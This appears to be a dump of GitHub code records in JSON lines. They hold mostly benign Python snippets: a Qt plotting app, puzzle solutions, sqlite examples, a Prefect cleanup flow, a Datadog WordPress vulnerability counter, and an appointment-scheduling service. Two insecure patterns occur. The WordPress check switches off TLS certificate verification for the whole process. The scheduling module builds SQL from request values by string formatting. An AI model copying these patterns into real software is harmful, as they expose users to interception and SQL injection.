A\nprint(\"Voltage at point C:\",C_v)\nprint(\"Voltage at point D:\",D_v)\n\n# Vmeas = C_v - D_v \nVmeas = Vin* (R2/(R1+R2) - Rg/(R3+Rg) )\nprint(\"Voltage differential\",Vmeas)\n\ndef calcVmeas(R1,R2,R3,Rg):\n return Vin* (R2/(R1+R2) - Rg/(R3+Rg) )\n\nimport gc\ngc.enable()\n\nclass MyMplCanvas(FigureCanvas):\n \"\"\"Ultimately, this is a QWidget (as well as a FigureCanvasAgg, etc.).\"\"\"\n\n def __init__(self, parent=None, width=7, height=5, dpi=72):\n plt.xkcd(True)\n fig = Figure(figsize=(width, height), dpi=dpi)\n self.axes = fig.add_subplot(111) \n self.axes.set_title('Voltage mean Resistor/Gauge')\n self.axes.spines['right'].set_position('center')\n self.axes.spines['right'].set_color('none')\n self.axes.spines['top'].set_color('none') \n self.axes.xaxis.set_ticks_position('bottom')\n self.axes.yaxis.set_ticks_position('left')\n #plt.xlim(0.005,1.5)\n #plt.ylim(0.01,4)\n #plt.yscale('log')\n # We want the axes cleared every time plot() is called\n self.axes.hold(False)\n\n self.compute_initial_figure()\n\n FigureCanvas.__init__(self, fig)\n self.setParent(parent)\n\n FigureCanvas.setSizePolicy(self,\n QtGui.QSizePolicy.Expanding,\n QtGui.QSizePolicy.Expanding)\n #FigureCanvas.updateGeometry(self)\n\n def compute_initial_figure(self):\n pass\n\nclass MyStaticMplCanvas(MyMplCanvas):\n \"\"\"Simple canvas with a sine plot.\"\"\"\n\n def compute_initial_figure(self):\n Rgs = [0.01, 0.05, 0.08, 0.1, 0.2, 0.5, 1, 1.2, 1.5, 2, 2.5, 3.9]\n Rsx = []\n Rsy = []\n for Rg1 in Rgs:\n Rsx.append( calcVmeas(R1, R2, R3, Rg1))\n Rsy.append(Rg1)\n \n self.axes.plot(Rsx,Rsy, 'r--')\n\n\nclass ApplicationWindow(QtGui.QMainWindow):\n def __init__(self):\n QtGui.QMainWindow.__init__(self)\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n self.setWindowTitle(\"application main window\")\n self.file_menu = QtGui.QMenu('&File', self)\n self.file_menu.addAction('&Quit', self.fileQuit,\n QtCore.Qt.CTRL + QtCore.Qt.Key_Q)\n self.menuBar().addMenu(self.file_menu)\n\n self.help_menu = QtGui.QMenu('&Help', self)\n self.menuBar().addSeparator()\n self.menuBar().addMenu(self.help_menu)\n\n self.help_menu.addAction('&About', self.about)\n\n self.main_widget = QtGui.QWidget(self)\n \n l = QtGui.QVBoxLayout(self.main_widget)\n sc = MyStaticMplCanvas(self.main_widget, width=8, height=4, dpi=72)\n l.addWidget(sc)\n\n self.main_widget.setFocus()\n self.setCentralWidget(self.main_widget)\n\n self.statusBar().showMessage(\"All hail matplotlib!\", 2000)\n\n def fileQuit(self):\n self.close()\n\n def closeEvent(self, ce):\n self.fileQuit()\n\n def about(self):\n QtGui.QMessageBox.about(self, \"About\",\n \"\"\"embedding_in_qt4.py example Copyright 2005 Florent Rougon, 2006 Darren Dale\"\"\"\n )\n\n\nqApp = QtGui.QApplication(sys.argv)\n\naw = ApplicationWindow()\naw.setWindowTitle(\"%s\" % progname)\naw.show()\nsys.exit(qApp.exec_())","repo_name":"fovtran/analysis_cplusplus","sub_path":"Python3-electronic/Voltage-Gauge_Qt.py","file_name":"Voltage-Gauge_Qt.py","file_ext":"py","file_size_in_byte":4193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13365932691","text":"# {{ ansible_managed }}\n\nimport subprocess\nimport sys, os, re\nimport httplib\nimport ssl\nimport json\nfrom checks import AgentCheck\n\nclass WordpressCheck(AgentCheck):\n def check(self, instance):\n ssl._create_default_https_context = ssl._create_unverified_context\n\n path = instance['path'];\n\n os.chdir(path)\n with open(\"wp-includes/version.php\") as f:\n version_file = f.read()\n wp_version = re.search(\"wp_version = '(.*?)'\", version_file).group(1).replace(\".\", \"\")\n\n conn = httplib.HTTPSConnection(\"wpvulndb.com\")\n headers = {\n \"User-agent\": \"Datadog Wordpress Vulnerabilities check\"\n }\n conn.request(\"GET\",\"/api/v2/wordpresses/\" + wp_version, None, headers)\n res = conn.getresponse()\n data = res.read()\n conn.close()\n if res.status == 404:\n self.gauge('wordpress.core.vulnerabilities', 0)\n else:\n json_data = json.loads(data)\n\n vulnerability_count = len(json_data.values()[0]['vulnerabilities'])\n\n self.gauge('wordpress.core.vulnerabilities', vulnerability_count)\n","repo_name":"pdesgarets/datadog-wordpress-vulnerabilities","sub_path":"templates/wordpress_vulnerabilities.py","file_name":"wordpress_vulnerabilities.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23388216409","text":"#导入模块\nimport sqlite3\n#创建连接\ncon=sqlite3.connect('demo.db')\n#创建游标对象\ncur=con.cursor()\n#编写删除数据的SQL语句\nsql='delete from t_person where pno=?'\n#执行sql\ntry:\n cur.execute(sql, (2,))\n #提交事务\n con.commit()\n print('删除成功')\nexcept Exception as e:\n print(e)\n print('删除失败')\n con.rollback()\nfinally:\n #关闭连接\n con.close()","repo_name":"YingnanHan/Python-400-Series","sub_path":"Python 400 集/Chapter15 数据库编程/07.操作sqlite3数据库删除数据.py","file_name":"07.操作sqlite3数据库删除数据.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"zh","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"32701741462","text":"# k개의 로프를 사용하여 중량이 w인 물체를 들어올릴 때,\n# 각각의 로프에는 모두 고르게 w/k 만큼의 중량\n\n# 3 10 15\n# 3*3 10*2 15*1\n# 최솟값 * 개수\n\ndef solution(n, li):\n li.sort()\n result = 0\n for i in range(n):\n result = max(result, li[i] * (n - i))\n return result\n\n\nnum = int(input())\nli = []\nfor i in range(num):\n li.append(int(input()))\nprint(solution(num, li))","repo_name":"kaori-killer/baekjoon-summer-challenge","sub_path":"CHAPTER_03_그리디/22-06-16/로프.py","file_name":"로프.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12634470740","text":"from enum import IntEnum\nfrom pathlib import Path\n\nfrom more_itertools import flatten\nfrom parse import findall, parse\nimport numpy as np\n\n\nclass Direction(IntEnum):\n EAST = 0\n SOUTH = 1\n WEST = 2\n NORTH = 3\n\n\nTURN = {\n ('R', Direction.EAST): Direction.SOUTH,\n ('R', Direction.SOUTH): Direction.WEST,\n ('R', Direction.WEST): Direction.NORTH,\n ('R', Direction.NORTH): Direction.EAST,\n ('L', Direction.EAST): Direction.NORTH,\n ('L', Direction.SOUTH): Direction.EAST,\n ('L', Direction.WEST): Direction.SOUTH,\n ('L', Direction.NORTH): Direction.WEST,\n}\nDXY = {\n Direction.EAST: (0, 1),\n Direction.WEST: (0, -1),\n Direction.SOUTH: (1, 0),\n Direction.NORTH: (-1, 0),\n}\nVOID = ord(' ')\nEMPTY = ord('.') - VOID\nWALL = ord('#') - VOID\n\n\n# Cube net border definitions in the form of {0: (E,S,W,N), ...} where E/S/W/N\n# compass side combinations to encode coord transformations\n\n# ..0.\n# 123.\n# ..45\nCUBE_1 = {# EAST SOUTH WEST NORTH\n 0: ((5, Direction.EAST), (3, Direction.NORTH), (2, Direction.NORTH), (1, Direction.NORTH)),\n 1: ((2, Direction.WEST), (4, Direction.SOUTH), (5, Direction.SOUTH), (0, Direction.NORTH)),\n 2: ((3, Direction.WEST), (4, Direction.WEST), (1, Direction.EAST), (0, Direction.WEST)),\n 3: ((5, Direction.NORTH), (4, Direction.NORTH), (2, Direction.EAST), (0, Direction.SOUTH)),\n 4: ((5, Direction.WEST), (1, Direction.SOUTH), (2, Direction.SOUTH), (3, Direction.SOUTH)),\n 5: ((0, Direction.EAST), (1, Direction.WEST), (4, Direction.EAST), (3, Direction.EAST)),\n}\n\n# .01\n# .2.\n# 34.\n# 5..\nCUBE_2 = {# EAST SOUTH WEST NORTH\n 0: ((1, Direction.WEST), (2, Direction.NORTH), (3, Direction.WEST), (5, Direction.WEST)),\n 1: ((4, Direction.EAST), (2, Direction.EAST), (0, Direction.EAST), (5, Direction.SOUTH)),\n 2: ((1, Direction.SOUTH), (4, Direction.NORTH), (3, Direction.NORTH), (0, Direction.SOUTH)),\n 3: ((4, Direction.WEST), (5, Direction.NORTH), (0, Direction.WEST), (2, Direction.WEST)),\n 4: ((1, Direction.EAST), (5, Direction.EAST), (3, Direction.EAST), (2, Direction.SOUTH)),\n 5: ((4, Direction.SOUTH), (1, Direction.NORTH), (0, Direction.NORTH), (3, Direction.SOUTH)),\n}\n\n\nclass Square:\n def __init__(self, square, sx, sy, north=None, east=None, south=None, west=None):\n self.sx = sx\n self.sy = sy\n self.square = square\n self.size = square.shape[0]\n self.north = north\n self.east = east\n self.south = south\n self.west = west\n\n def __repr__(self):\n return f\"Square(sx={self.sx}, sy={self.sy})\"\n\n\ndef squares_array_to_flat_squares(squares):\n squares = [\n [Square(square, sx, sy) if square is not None else None for sy, square in enumerate(row)]\n for sx, row in enumerate(squares)\n ]\n nrows = len(squares)\n ncols = len(squares[0])\n start_square = None\n for r_idx, row in enumerate(squares):\n for c_idx, square in enumerate(row):\n if square is None:\n continue\n if start_square is None:\n start_square = square\n\n r_north = (r_idx - 1) % nrows\n while squares[r_north][c_idx] is None:\n r_north = (r_north - 1) % nrows\n r_south = (r_idx + 1) % nrows\n while squares[r_south][c_idx] is None:\n r_south = (r_south + 1) % nrows\n\n c_east = (c_idx + 1) % ncols\n while squares[r_idx][c_east] is None:\n c_east = (c_east + 1) % ncols\n c_west = (c_idx - 1) % ncols\n while squares[r_idx][c_west] is None:\n c_west = (c_west - 1) % ncols\n\n square.north = squares[r_north][c_idx]\n square.east = squares[r_idx][c_east]\n square.south = squares[r_south][c_idx]\n square.west = squares[r_idx][c_west]\n\n return squares, start_square\n\n\ndef step(x, y, num_steps, facing, square):\n dx, dy = DXY[facing]\n nsquare = square\n for _ in range(num_steps):\n nx, ny = x+dx, y+dy\n if nx < 0:\n nx = nsquare.size-1\n nsquare = square.north\n elif nx >= nsquare.size:\n nx = 0\n nsquare = square.south\n if ny < 0:\n ny = nsquare.size-1\n nsquare = square.west\n elif ny >= nsquare.size:\n ny = 0\n nsquare = square.east\n\n if nsquare.square[nx, ny] == WALL:\n break\n x, y, square = nx, ny, nsquare\n\n return x, y, square\n\n\ndef a(squares, instructions):\n \"\"\"Solve day 22 part 1\"\"\"\n squares, cur_square = squares_array_to_flat_squares(squares)\n x, y, facing = 0, 0, Direction.EAST\n while cur_square.square[x,y] == WALL:\n y+=1\n\n num_steps, instructions = parse(\"{:d}{}\", instructions)\n x, y, cur_square = step(x, y, num_steps, facing, cur_square)\n for turn, num_steps in findall('{:l}{:d}', instructions):\n facing = TURN[turn, facing]\n x, y, cur_square = step(x, y, num_steps, facing, cur_square)\n\n x += (cur_square.sx * cur_square.size) + 1\n y += (cur_square.sy * cur_square.size) + 1\n return 1_000*x + 4*y + facing\n\n\ndef fill_cube_neighbors(squares, encoding):\n flat_squares = [s for s in flatten(squares) if s is not None]\n for sq_idx, neighbors in encoding.items():\n square = flat_squares[sq_idx]\n square.east = flat_squares[neighbors[Direction.EAST][0]], neighbors[Direction.EAST][1]\n square.south = flat_squares[neighbors[Direction.SOUTH][0]], neighbors[Direction.SOUTH][1]\n square.west = flat_squares[neighbors[Direction.WEST][0]], neighbors[Direction.WEST][1]\n square.north = flat_squares[neighbors[Direction.NORTH][0]], neighbors[Direction.NORTH][1]\n\n\ndef squares_array_to_cube(squares, encoding):\n squares = [\n [Square(square, sx, sy) if square is not None else None for sy, square in enumerate(row)]\n for sx, row in enumerate(squares)\n ]\n start_square = None\n for row in squares:\n for square in row:\n if square is None:\n continue\n if start_square is None:\n start_square = square\n\n fill_cube_neighbors(squares, encoding)\n return squares, start_square\n\n\ndef cross_cube_edge(facing: Direction, to_side: Direction, x: int, y: int, square_size: int):\n crossing_coord = y if facing in [Direction.NORTH, Direction.SOUTH] else x\n square_size -= 1\n if facing in [Direction.NORTH, Direction.EAST]:\n if to_side == Direction.NORTH:\n return 0, square_size-crossing_coord, Direction.SOUTH\n elif to_side == Direction.EAST:\n return square_size-crossing_coord, square_size, Direction.WEST\n elif to_side == Direction.SOUTH:\n return square_size, crossing_coord, Direction.NORTH\n elif to_side == Direction.WEST:\n return crossing_coord, 0, Direction.EAST\n\n elif facing in [Direction.SOUTH, Direction.WEST]:\n if to_side == Direction.NORTH:\n return 0, crossing_coord, Direction.SOUTH\n elif to_side == Direction.EAST:\n return crossing_coord, square_size, Direction.WEST\n elif to_side == Direction.SOUTH:\n return square_size, square_size-crossing_coord, Direction.NORTH\n elif to_side == Direction.WEST:\n return square_size-crossing_coord, 0, Direction.EAST\n\n\ndef cube_step(x, y, num_steps, facing, square):\n nsquare = square\n for _ in range(num_steps):\n dx, dy = DXY[facing]\n nx, ny = x+dx, y+dy\n to_side, nfacing = None, None\n if nx < 0:\n nsquare, to_side = square.north\n elif nx >= nsquare.size:\n nsquare, to_side = square.south\n if ny < 0:\n nsquare, to_side = square.west\n elif ny >= nsquare.size:\n nsquare, to_side = square.east\n\n if to_side is not None:\n nx, ny, nfacing = cross_cube_edge(facing, to_side, x, y, square.size)\n\n if nsquare.square[nx, ny] == WALL:\n break\n x, y, square = nx, ny, nsquare\n if nfacing is not None:\n facing = nfacing\n\n square.square[x,y] = ord({Direction.NORTH:'^',Direction.EAST:'>',Direction.SOUTH:'v',Direction.WEST:'<'}[facing])\n\n return x, y, facing, square\n\n\ndef b(squares, instructions, cube_encoding):\n \"\"\"Solve day 22 part 2\"\"\"\n squares, cur_square = squares_array_to_cube(squares, cube_encoding)\n x, y, facing = 0, 0, Direction.EAST\n while cur_square.square[x,y] == WALL:\n y += 1\n\n num_steps, instructions = parse(\"{:d}{}\", instructions)\n x, y, facing, cur_square = cube_step(x, y, num_steps, facing, cur_square)\n\n for turn, num_steps in findall('{:l}{:d}', instructions):\n facing = TURN[turn, facing]\n x, y, facing, cur_square = cube_step(x, y, num_steps, facing, cur_square)\n\n x += (cur_square.sx * cur_square.size) + 1\n y += (cur_square.sy * cur_square.size) + 1\n return 1_000*x + 4*y + facing\n\n\ndef display_square(square):\n char = {VOID: ' ', WALL: '#', EMPTY: '.',\n ord('>'): '>', ord('v'): 'v', ord('<'): '<', ord('^'): '^'}\n print(square.sx, square.sy)\n for row in square.square:\n print(''.join(char[c] for c in row))\n print()\n\n\ndef parse_file(f: Path):\n \"\"\"Parse the input file into relevant data structure\"\"\"\n map_, instructions = f.read_text().split('\\n\\n')\n lines = [\n [ord(char) for char in line]\n for line in map_.splitlines()\n ]\n map_width = max(len(line) for line in lines)\n map_ = np.full((len(lines), map_width), fill_value=VOID)\n for idx, line in enumerate(lines):\n map_[idx, :len(line)] = line\n map_ -= VOID\n square_size = np.sqrt(np.count_nonzero(map_) // 6)\n squares = np.split(map_, map_.shape[0] // square_size, axis=0)\n\n squares = [\n np.split(row, map_.shape[1] // square_size, axis=1)\n for row in squares\n ]\n squares = [\n [square if np.count_nonzero(square) else None for square in row]\n for row in squares\n ]\n\n return squares, instructions\n\n\ndef main():\n \"\"\"Main function to wrap variables\"\"\"\n files = [\n ('input22-test1.txt', CUBE_1),\n ('input22.txt', CUBE_2),\n ]\n for filename, cube_encoding in files:\n print(filename)\n squares, instructions = parse_file(Path(filename))\n\n print(f'A: {a(squares, instructions)}')\n print(f'B: {b(squares, instructions, cube_encoding)}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sjvrijn/AdventofCode","sub_path":"Sander/2022/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":10584,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"25998113673","text":"answers = open(\"day6data.txt\").read().split('\\n\\n')\ntotal_sum = 0\n\nfor group in answers:\n individuals = group.split('\\n')\n if len(individuals) == 1:\n total_sum += len(set(individuals[0]))\n else:\n crossover = set(individuals[0])\n for i in individuals:\n crossover = crossover.intersection(set(i))\n crossover.discard('\\n')\n total_sum += len(crossover)\n\nprint(total_sum)\n","repo_name":"sahilkariadata/AdventOfCode2020","sub_path":"day6/day6_2.py","file_name":"day6_2.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"524876224","text":"\"\"\" Clean up old artifacts flow \"\"\"\nfrom prefect.logging import get_run_logger\nimport utils\nimport pendulum\n\nMAX_RETENTION_DAYS = 7\n\n\n@utils.flow_with_result_storage\ndef clean_up_old_artifacts_flow(result_storage=None):\n \"\"\"Deletes old artifacts (exept those suffixed with latest)\"\"\"\n s3 = utils.get_s3()\n logger = get_run_logger()\n for f in s3.ls(utils.get_s3_path(\"lake\"), detail=True):\n days = pendulum.now().diff(f.get(\"LastModified\")).in_days()\n key = f.get(\"Key\")\n logger.info(f\"{key} is {days} days old\")\n if days >= MAX_RETENTION_DAYS and not key.endswith(\"-latest\"):\n if not utils.get_param(\"DRY_RUN\"):\n s3.rm_file(key)\n logger.info(\" => deleted\")\n\n\nif __name__ == \"__main__\":\n from dotenv import load_dotenv\n load_dotenv()\n clean_up_old_artifacts_flow()\n","repo_name":"KlimaDAO/data-pipelines","sub_path":"flows/clean_up_old_artifacts.py","file_name":"clean_up_old_artifacts.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"37631607690","text":"import calendar\nimport time\nid = \"\"\nyear = -1\nmonth = -1\ndate = -1\nsex = \"\"\nwhile True:\n id = input(\"주민등록번호 : \")\n\n if len(id) != 14:\n continue\n\n if id.find(\"-\") != 6 or id.rfind(\"-\") != 6:\n continue\n\n temp = id.split(\"-\")\n if temp[0].isdigit() != True or temp[1].isdigit() != True:\n continue\n\n if id[7] in \"90\":\n continue\n\n month = int(id[2:4])\n if 12 < month:\n continue\n\n\n if id[7] in \"1256\":\n year = int(\"19\" + id[0:2])\n if id[7] in \"3478\":\n year = int(\"20\" + id[0:2])\n\n date = int(id[4:6])\n if int(calendar.monthrange(year, month)[1]) < date:\n continue\n\n if id[7] in \"13\":\n sex = \"남자\"\n if id[7] in \"57\":\n sex = \"외국인 남자\"\n if id[7] in \"24\":\n sex = \"여자\"\n if id[7] in \"68\":\n sex = \"외국인 여자\"\n\n break\nprint(str(year) + \"년 \" + str(month) + \"월 \" + str(date) + \"일생 \" + str(time.localtime().tm_year - year + 1) + \"살 \" + sex)\n","repo_name":"justNOZA/ProgrammersTesting_Python","sub_path":"Python_Study_files/Python_Basic_15_03_Ban2.py","file_name":"Python_Basic_15_03_Ban2.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15983074118","text":"import os\nimport time\nimport json\nimport requests\nfrom datetime import date\n\nfrom config.init_flask import make_db_connection\n\n# lib with reusable methods called by all members \n\n# Create first row in db schema with serial ID and DATE in params\n# called by all members to create the register\ndef insert_request(date, schema, id=None):\n time.sleep(2)\n connection = make_db_connection()\n cur = connection.cursor()\n\n if schema == 'hospital':\n insert_request = \"\"\"\n INSERT INTO {}.appointments_temp (appointment_date)\n VALUES ('{}') RETURNING id;\n \"\"\".format(schema, date)\n else:\n insert_request = \"\"\"\n INSERT INTO {}.appointments_temp (id, appointment_date)\n VALUES ({}, '{}') RETURNING id;\n \"\"\".format(schema, id, date)\n\n cur.execute(insert_request)\n connection.commit()\n id = cur.fetchone()[0]\n connection.close()\n\n return _check_appointment(id, date, schema)\n\n# Check itself if DATE is free\n# called by all members check a date\ndef _check_appointment(id, date, schema, restore=False):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check agenda\n check_if_appointment_exist = \"\"\"\n SELECT * FROM {}.appointments WHERE appointment_date = '{}' \n \"\"\".format(schema, date)\n cur.execute(check_if_appointment_exist)\n response = cur.fetchone()\n \n if response and schema == 'hospital':\n return abort(id, schema, date, False)\n elif response:\n return abort(id, schema, date)\n\n # Check temporary agenda\n check_if_appointment_temp_exist = \"\"\"\n SELECT * FROM {}.appointments_temp WHERE appointment_date = '{}' \n AND appointment_success is null AND id != {}\n \"\"\".format(schema, date, id)\n cur.execute(check_if_appointment_temp_exist)\n response = cur.fetchone()\n connection.close()\n \n if response:\n return \"you are on queue\"\n\n # Else check the valid agenda\n return _myself_success(id, schema, date)\n\n# if DATE is free set myself as true\ndef _myself_success(id, schema, date, restore=False):\n # UPDATE MYSELF SUCCESS \n connection = make_db_connection()\n cur = connection.cursor()\n\n check_if_appointment_exist = \"\"\"\n UPDATE {}.appointments_temp SET myself_success = '1' WHERE id = {}\n \"\"\".format(schema, id)\n cur.execute(check_if_appointment_exist)\n connection.commit()\n connection.close()\n\n if restore:\n return call_check_appointment_state(id, date, schema)\n if schema == 'hospital':\n _call_your_friend(id, schema, 'ANESTHETIST', date, 2)\n _call_your_friend(id, schema, 'SURGEON', date, 2)\n else:\n _call_your_friend(id, schema, 'HOSPITAL', date, 1)\n \n return True\n\n# create request to ask another members a DATE\ndef _call_your_friend(id, persona, target, appointment_date, success):\n request_body = {\n 'id': id,\n 'appointment_date': appointment_date,\n 'persona': persona,\n 'success': success\n }\n request_body = json.dumps(request_body)\n headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n r = requests.post(\n \"http://{}:5000/schedule_appointment\"\n .format(target),\n headers = headers,\n data=request_body\n )\n print(r.content)\n return r.content\n\n# set another members response after answer\ndef receive_update_appointment(id, schema, persona, response):\n connection = make_db_connection()\n cur = connection.cursor()\n\n insert_appointment = \"\"\"\n UPDATE {}.appointments_temp \n SET {}_appointment_response = '{}'\n WHERE id = {}\n \"\"\".format(schema, persona, response, id)\n\n cur.execute(insert_appointment)\n connection.commit()\n connection.close()\n\n# check if all members already answer the request \ndef check_appointment_reponse(schema, id, date):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # If both responses were success\n query = \"\"\"\n SELECT * FROM {}.appointments_temp WHERE id = {} AND \n anesthetist_appointment_response is true AND\n surgeon_appointment_response is true AND\n appointment_success is null\n \"\"\".format(schema, id)\n cur.execute(query)\n response = cur.fetchone()\n\n connection.close()\n if response:\n return commit_appointment(id, schema, date)\n \n # If at least one of them failed\n connection = make_db_connection()\n cur = connection.cursor()\n query = \"\"\"\n SELECT * FROM {}.appointments_temp WHERE id = {} AND \n (anesthetist_appointment_response is false OR\n surgeon_appointment_response is false)\n \"\"\".format(schema, id)\n cur.execute(query)\n response = cur.fetchone()\n\n connection.close()\n if response:\n return abort(id, schema, date)\n \n# if all members response are OK - commit the DATE\n# update to succsses / insert on the final db / kill the queue / call other members\ndef commit_appointment(id, schema, date):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check temporary agenda\n query = \"\"\"\n UPDATE {}.appointments_temp SET appointment_success = '1'\n WHERE id = {}\n \"\"\".format(schema, id)\n cur.execute(query)\n \n query = \"\"\"\n INSERT INTO {}.appointments (id, appointment_date) \n VALUES ({}, '{}')\n \"\"\".format(schema, id, date)\n cur.execute(query)\n \n # Query all other appointments on queue\n query = \"\"\"\n UPDATE {}.appointments_temp SET appointment_success = '0'\n WHERE appointment_date = '{}' AND id != {} \n \"\"\".format(schema, date, id)\n cur.execute(query)\n connection.commit()\n connection.close()\n\n if schema == 'hospital':\n _call_your_friend(id, schema, 'SURGEON', date, 1)\n _call_your_friend(id, schema, 'ANESTHETIST', date, 1)\n\n return 'appointment successs'\n\n# if someone response is NOK - abort transaction\n# update to fail / continue queue / call other members\ndef abort(id, schema, date, send_response=True):\n if send_response == True:\n connection = make_db_connection()\n cur = connection.cursor()\n\n insert_appointment = \"\"\"\n UPDATE {}.appointments_temp SET appointment_success = '0',\n myself_success = '0'\n WHERE id = {}\n \"\"\".format(schema, id)\n\n cur.execute(insert_appointment)\n connection.commit()\n connection.close()\n\n if schema == 'hospital':\n _call_your_friend(id, schema, 'SURGEON', date, 0)\n _call_your_friend(id, schema, 'ANESTHETIST', date, 0)\n _continue_queue(date, schema)\n else:\n _call_your_friend(id, schema, 'HOSPITAL', date, 0)\n else:\n connection = make_db_connection()\n cur = connection.cursor()\n\n insert_appointment = \"\"\"\n UPDATE {}.appointments_temp SET appointment_success = '0',\n myself_success = '0'\n WHERE id = {}\n \"\"\".format(schema, id)\n\n cur.execute(insert_appointment)\n connection.commit()\n connection.close()\n\n return 'appointment denied'\n\n# restart the next member from the queue\ndef _continue_queue(date, schema):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check temporary agenda\n query = \"\"\"\n SELECT min(id) FROM {}.appointments_temp WHERE appointment_date = '{}' \n AND appointment_success is null \n \"\"\".format(schema, date)\n\n cur.execute(query)\n id = cur.fetchone()[0]\n connection.close()\n if id:\n _check_appointment(id, date, schema)\n\n# check myself status\ndef check_appointment_status(schema, id):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check temporary agenda\n query = \"\"\"\n SELECT myself_success FROM {}.appointments_temp WHERE id = {} \n AND appointment_success is null\n \"\"\".format(schema, id)\n\n cur.execute(query)\n response = cur.fetchone()\n connection.close()\n if response:\n return 1\n\n# restore the system using logs - called on startup\ndef restore(schema):\n appointment = find_next_incomplete_appointments(schema)\n while(appointment):\n if schema == 'hospital':\n hospital_restore_conditions(appointment)\n else:\n friends_restore_conditions(appointment, schema)\n appointment = find_next_incomplete_appointments(schema)\n \n return \"System restored\"\n \n# conditions to restore the hospital based on state\ndef hospital_restore_conditions(appointment):\n if appointment[5] is None:\n return _check_appointment(appointment[0], appointment[1], 'hospital')\n elif appointment[2] is None or appointment[3] is None:\n if appointment[2] is None:\n _call_your_friend(\n appointment[0], 'hospital',\n 'ANESTHETIST', appointment[1], 2\n )\n if appointment[3] is None:\n _call_your_friend(\n appointment[0], 'hospital',\n 'SURGEON', appointment[1], 2\n )\n else:\n return check_appointment_reponse('hospital', appointment[0], appointment[1])\n\n# conditions to restore the ANESTHETIST and the surgeon based on state\ndef friends_restore_conditions(appointment, schema):\n if appointment['myself_success'] is None:\n return _check_appointment(appointment[0], appointment[1], schema, True)\n elif appointment['appointment_success']:\n return call_check_appointment_state(appointment[0], appointment[1], schema)\n else:\n return check_appointment_reponse(schema, appointment[0], appointment[1])\n\n# find next appointment to be restored\ndef find_next_incomplete_appointments(schema):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check temporary agenda\n query = \"\"\"\n SELECT * FROM {}.appointments_temp \n WHERE myself_success is null \n AND id = (SELECT MIN(id) FROM {}.appointments_temp \n WHERE myself_success is null)\n \"\"\".format(schema, schema)\n\n cur.execute(query)\n response = cur.fetchone()\n connection.close()\n return response\n\n# check the state of a appointment\ndef check_appointment_state(id):\n connection = make_db_connection()\n cur = connection.cursor()\n\n # Check temporary agenda\n query = \"\"\"\n SELECT appointment_success FROM hospital.appointments_temp \n WHERE id = {}\n \"\"\".format(id)\n\n cur.execute(query)\n response = cur.fetchone()[0]\n connection.close()\n return response\n\n# make the request to ask hospital the status of a transaction\ndef call_check_appointment_state(id, date, schema):\n request_body = {'id': id}\n request_body = json.dumps(request_body)\n headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n r = requests.post(\n \"http://{}:5000/check_appointment\"\n .format('HOSPITAL'),\n headers = headers,\n data=request_body\n )\n # find out how content arrives\n if r.content == 'true':\n return commit_appointment(id, schema, date)\n elif r.content == 'false':\n return abort(id, schema, date, False)\n else:\n return \"Waiting for response\"\n","repo_name":"xstriker/sd-2019-02","sub_path":"hospital/model/appointments.py","file_name":"appointments.py","file_ext":"py","file_size_in_byte":11206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40608189455","text":"# print((int(7.5)))\n# n = 7.5\n# print(\"true\") if int(n) == n else print(\"false\")\n# x = [[], []]\n# print(len(x))\n\n\nimport threading\nimport gc\n\n\ndef test_func(a):\n # very long work\n for i in (range(10000)):\n x = i\n print(\"Done\")\n\n\nvar = 6\nt = threading.Thread(target=test_func(var))\nt.start()\ndel var\ngc.collect()\nt.join()\n","repo_name":"MeetWithRajat/complete-data-structures-and-algorithms","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25276741591","text":"# filter(\n\nlist1 = list(range(-5, 5)) # [-5, -4, -3, -2, -1, 0, 1, 2, 3, 4]\n\nlist2 = list(filter(lambda x: x < 0, list1))\nprint(list2) # [-5, -4, -3, -2, -1]\n\nlist3 = [\"str\", \"two\", \"strThree\", \"four\"]\nlist4 = list(filter(lambda x: x == \"str\", list3))\nprint(list4) # ['str']\n","repo_name":"RadosavPanic/Python-Misc","sub_path":"declaratives/filter_fn.py","file_name":"filter_fn.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7861789190","text":"# Directory of the image database\nDATA_DIR = \"./Data/\"\n\n# Directory where the output files are saved\nFILES_DIR = \"./Files/\"\n\n# Directory the images created are saved\nRESULTS_DIR = \"./Results/\"\n\n# Extension of the storage files\nNPZ_EXTENSION = \".npz\"\n\n# Standard name used for the column when writing the feature matrices in npz files\n# WARNING: When changing this constant, make sure to change the column name in np.savez statements!\nFEATURE = \"features\"\n\n# Files used for feature storage\nHOC_MATRIX_FILE = \"hoc_matrix\"\nHOG_MATRIX_FILE = \"hog_matrix\"\nVGG_BLOCK2_MATRIX_FILE = 